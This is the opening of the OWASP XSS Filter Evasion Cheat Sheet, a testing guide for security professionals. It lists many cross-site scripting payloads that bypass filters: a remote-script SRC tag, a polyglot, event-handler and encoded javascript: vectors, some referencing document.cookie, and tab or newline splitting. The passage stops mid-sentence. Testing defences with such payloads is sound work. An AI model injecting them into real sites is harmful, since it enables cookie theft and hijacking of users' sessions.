OWASP Secure Coding Cheat Sheets: XSS Filter Evasion Cheat Sheet

# XSS Filter Evasion Cheat Sheet

## Introduction

This article is a guide to Cross Site Scripting (XSS) testing for application security professionals. This cheat sheet was originally based on RSnake's seminal XSS Cheat Sheet previously at: `http://ha.ckers.org/xss.html`. Now, the OWASP Cheat Sheet Series provides users with an updated and maintained version of the document. The very first OWASP Cheat Sheet, [Cross Site Scripting Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html), was inspired by RSnake's work and we thank RSnake for the inspiration!

## Tests

This cheat sheet demonstrates that input filtering is an incomplete defense for XSS by supplying testers with a series of XSS attacks that can bypass certain XSS defensive filters.

### Basic XSS Test Without Filter Evasion

This attack, which uses normal XSS JavaScript injection, serves as a baseline for the cheat sheet (the quotes are not required in any modern browser so they are omitted here):

```html
<SCRIPT SRC=https://cdn.jsdelivr.net/gh/Moksh45/host-xss.rocks/index.js></SCRIPT>
```

### XSS Locator (Polyglot)

This test delivers a 'polyglot test XSS payload' that executes in multiple contexts, including HTML, script strings, JavaScript, and URLs:

```js
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
```

(Based on this [tweet](https://twitter.com/garethheyes/status/[PII_REDACTED]90781445) by [Gareth Heyes](https://twitter.com/garethheyes)).

### Malformed A Tags

This test skips the [`href`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#href) attribute to demonstrate an XSS attack using event handlers:

```js
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
```

Chrome automatically inserts missing quotes for you. If you encounter issues, try omitting them and Chrome will correctly place the missing quotes in URLs or scripts for you:

```js
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>
```

(Submitted by David Cross, Verified on Chrome)

### Malformed IMG Tags

This XSS method uses the relaxed rendering engine to create an XSS vector within an IMG tag (which needs to be encapsulated within quotes). We believe this approach was originally meant to correct sloppy coding and it would also make it significantly more difficult to correctly parse HTML tags:

```html
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
```

(Originally found by Begeek, but it was cleaned up and shortened to work in all browsers)

### fromCharCode

If the system does not allow quotes of any kind, you can `eval()` a `fromCharCode` in JavaScript to create any XSS vector you need:

```html
<a href="javascript:alert(String.fromCharCode(88,83,83))">Click Me!</a>
```

### Default SRC Tag to Get Past Filters that Check SRC Domain

This attack will bypass most SRC domain filters. Inserting JavaScript in an event handler also applies to any HTML tag type injection using elements like Form, Iframe, Input, Embed, etc. This also allows the substitution of any relevant event for the tag type, such as `onblur` or `onclick`, providing extensive variations of the injections listed here:

```html
<IMG SRC=# onmouseover="alert('xxs')">
```

(Submitted by David Cross and edited by Abdullah Hussam)

### Default SRC Tag by Leaving it Empty

```html
<IMG SRC= onmouseover="alert('xxs')">
```

### Default SRC Tag by Leaving it out Entirely

```html
<IMG onmouseover="alert('xxs')">
```

### On Error Alert

```html
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
```

### IMG onerror and JavaScript Alert Encode

```html
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
```

### Decimal HTML Character References

Since XSS examples that use a `javascript:` directive inside an `<IMG` tag do not work on Firefox this approach uses decimal HTML character references as a workaround:

```html

 <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">Click Me!</a>
```

### Decimal HTML Character References Without Trailing Semicolons

This is often effective in bypassing XSS filters that look for the string `&\#XX;`, since most people don't know about padding - which can be used up to 7 numeric characters total. This is also useful against filters that decode against strings like `$tmp\_string =\~ s/.\*\\&\#(\\d+);.\*/$1/;` which incorrectly assumes a semicolon is required to terminate a HTML encoded string (This has been seen in the wild):

```html
<a href="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">Click Me</a>
```

### Hexadecimal HTML Character References Without Trailing Semicolons

This attack is also viable against the filter for the string `$tmp\_string=\~ s/.\*\\&\#(\\d+);.\*/$1/;`, because it assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters:

```html
<a href="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29">Click Me</a>
```

### Embedded Tab

This approach breaks up the XSS attack:

<!-- markdownlint-disable MD010-->
```html
 <a href="jav	ascript:alert('XSS');">Click Me</a>
```
<!-- markdownlint-enable MD010-->

### Embedded Encoded Tab

This approach can also break up XSS:

```html
 <a href="jav&#x09;ascript:alert('XSS');">Click Me</a>
```

### Embedded Newline to Break Up XSS

While some defenders claim that any of the chars 09-13 (decimal) will work for this attack, this is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. Examine the [ASCII table](https://man7.org/linux/man-pages/man7/ascii.7.html) for reference. The next four XSS attack examples illustrate this vector:

```html
<a href="jav&#x0A;ascript:alert('XSS');">Click Me</a>
```

#### Example 1: Break Up XSS Attack with Embedded Carriage Return

(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

```html
<a href="jav&#x0D;ascript:alert('XSS');">Click Me</a>
```

#### Example 2: Break Up JavaScript Directive with Null

Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use `%00` in the URL string or if you want to write your own injection tool you can either use vim (`^V^@` will produce a null) or the following program to generate it into a text file. The null char `%00` is much more useful an